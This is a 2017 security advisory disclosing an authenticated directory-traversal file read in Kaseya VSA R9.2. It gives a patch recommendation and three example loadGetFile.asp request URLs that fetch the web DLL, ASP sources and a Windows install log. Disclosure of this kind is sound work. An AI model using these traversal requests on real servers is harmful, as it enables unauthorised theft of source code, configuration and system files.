A security vulnerability was found in Kaseya VSA file download file functionality. Using this vulnerability an authenticated user in a Kaseya VSA environment is able to download arbitrary files from the server (including source code of Kaseya, the database backups, configuration files, and even windows files). Version R9.2 was found affected.
605ce3e61e7a1e700654afd0b394ab11------------------------------------------------------------------------
Arbitrary file read in Kaseya VSA
------------------------------------------------------------------------
Kin Hung Cheng, Robert Hartshorn, May 2017
------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A security vulnerability was found in Kaseya VSA file download file
functionality. Using this vulnerability an authenticated user in a
Kaseya VSA environment is able to download arbitrary files from the
server (including source code of Kaseya, the database backups,
configuration files, and even windows files).
------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on version R9.2
------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
Patch to the latest version of VSA.
------------------------------------------------------------------------
Details
------------------------------------------------------------------------
https://www.securify.nl/advisory/SFY20170502/arbitrary-file-read-in-kaseya-vsa.html
Details
With the ability to download files from remote computers we gain the ability to download files from the server. The downloading files from remote computer is implemented by being able to download files from a folder on the remote computer. This makes a directory on the server that is synced with the remote computer and an admin can download from this directory. By using directory traversal with this functionality we can download any file from the server.
Examples of files that can be of interest for an attacker:
- The binary of the website (can be decompiled to source code using dotPeek):
http://<host>/ConfigTab/loadGetFile.asp?filename=..\..\..\..\Kaseya\vsapres\bin\Kaseya.Web.dll&theMachine=744950587060816
- ASP-webpages and their sources:
http://<host>/ConfigTab/loadGetFile.asp?filename=..\..\..\..\Kaseya\WebPages\dl.asp&theMachine=744950587060816
- Unattended Windows installation log:
http://<host>/ConfigTab/loadGetFile.asp?filename=..\..\..\..\Windows\Panther\Cbs_unattend.log&theMachine=744950587060816